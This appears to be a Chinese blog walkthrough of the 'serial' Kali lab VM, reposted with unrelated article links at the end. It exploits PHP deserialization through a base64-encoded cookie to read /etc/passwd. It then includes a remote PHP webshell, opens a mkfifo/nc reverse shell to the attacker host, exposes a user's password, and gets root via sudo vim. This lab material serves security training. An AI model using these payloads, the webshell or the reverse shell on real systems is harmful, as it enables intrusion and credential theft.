当前位置: 首页 > news >正文

【kali靶机之serial】--反序列化漏洞实操

kali靶机配置

【我图片里没有截图的默认配置即可】需要改的地方图片里面都有。

使用kali扫描网关的主机。

扫到一个开放了80端口HTTP协议的主机ip

访问80端口

会看到一个文本页面,翻译一下看是什么意思。。

F12查看cookie,是一个base64编码了的东西

使用burpsuite解码功能解码,发现是一个代码

解码前:

Tzo0OiJVc2VyIjoyOntzOjEwOiIAVXNlcgBuYW1lIjtzOjM6InNrNCI7czo5OiIAVXNlcgB3ZWwiO086NzoiV2VsY29tZSI6MDp7fX0=

解码后:

0:4:"User":2:{s:10:"Username";s:3:"sk4";s:9:"Userwel";0:7:"Welcome":0:{}}

使用webshell工具扫描目录 

右键将地址添加,扫描后查看到两个目录文件 ,访问一下。。

访问后会看到弹出一个文件下载界面。

进行代码审计


1.通过代码审计得知,首先index.php文件包含了user.class.php文件,对cookie中的user参数进行了序列化和base64编码,然后user.class.php文件包含了log.class.php,且定义了两个类,分别是Welcome和User,并调用了log.class.php文件中的handler函数。log.class.php文件又定义了Log类和成员变量type_log,且handler函数对变量还进行了文件包含和输出。

构造查看文件的payload

将下列的代码保存到自己的www目录下新建成一个php文件

<?phpclass Log {private $type_log = "/etc/passwd";}class User {private $name = "admin";private $wel;function __construct() {$this->wel = new Log();}
}
$obj = new User();
echo base64_encode(serialize($obj));

访问自己构造的payload

也就是访问自己建的payload.php。

查看到了base64编码后的payload。

抓包查看,将user=改为自己构造下的payload

可以看到查到了etc/passwd文件,可以看见sk4用户

再将自己编码后的payload解码

O:4:"User":2:{s:10:"Username";s:5:"admin";s:9:"Userwel";O:3:"Log":1:{s:13:"Logtype_log";s:11:"/etc/passwd";}}
<?phpclass Log {private $type_log = "http://172.16.1.65/3.txt";}class User {private $name = "admin";private $wel;function __construct() {$this->wel = new Log();}
}
$obj = new User();
echo base64_encode(serialize($obj));

构造连接cmd的payload

新建一个3.txt里面内容如下:

<?php @system($ GET['cmd']);?>

将之前自己www目录下的php文件内容改为如下(地址为自己的本机地址):

将页面显示得到的复制到burpsuite中

结果显示如下

在如图所示的地方写入?cmd=id,显示如下:

添加反弹shell

在?cmd后面添加如下:

rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+172.16.1.65+4444+>/tmp/f

没有反应,但是反弹shell成功。

重新抓包,将抓到的数据包该为自己改成的数据包,放包。

显示如下连接靶机成功:,,,,后续可以进行cmd命令操作靶机。

继续使用cmd命令查看靶机用户的账号密码

用户名sk4 ,密码是:KywZmnPWW6tTbW5w

进行远程连接

ssh sk4@192.168.189.157

输入你查到的密码。。。

sudo vim

提权

提权到了root用户

http://www.lryc.cn/news/418163.html

相关文章:

  • 学习大数据DAY34 面向对象思想深化练习 将从豆瓣爬取的数据置入自己搭建的网站上
  • 【开端】通过Java 过滤器灵活配置URL访问权限,并返回403
  • 【C++综合项目】——基于Boost库的搜索引擎(手把手讲解,小白一看就会!!)
  • 强化阶段《660》和《880》哪本优先级高?
  • Redis远程字典服务器(2) —— 全局命令
  • Android平台如何不推RTMP|不发布RTSP流|不实时录像|不回传GB28181数据时实时快照?
  • tomcat文件上传漏洞练习
  • 项目实战_图书管理系统(简易版)
  • Gazebo之MyRobot建立
  • WPF学习(5)- Border控件(边框布局)+GridSplitter分割窗口
  • ADAS芯片及方案
  • 5 mysql 查询语句
  • 从网络上下载并展示图像数据
  • Machine-Learning 机器学习
  • CSP 2023 普及组第一轮 - CSP/S 2023初试题 基础部分解析
  • 解锁IPython的跨平台魔法:深入探索%%script命令的神秘力量
  • 如何避免项目发布后用户从浏览器WebPack中看到源码
  • java学习19VUE
  • Redis7(四)哨兵、集群
  • 校园课程助手【3】-使用枚举类封装异常优雅处理全局异常
  • LeetCode面试150——58最后一个单词的长度
  • MySQL——数据库的操作,数据类型,表的操作
  • Go 临界资源 安全问题
  • 安卓常用控件(上)
  • 基于 RabbitMQ 实现延迟消息的订单处理流程
  • 使用Python将Word文档转换为PNG图片
  • Qt创建Json对象时浮点数的精度控制
  • 【海贼王航海日志:前端技术探索】CSS你了解多少?(二)
  • 软件测试面试200问(全)
  • 【单片机毕业设计选题24106】-基于阿里云的心率呼吸监测系统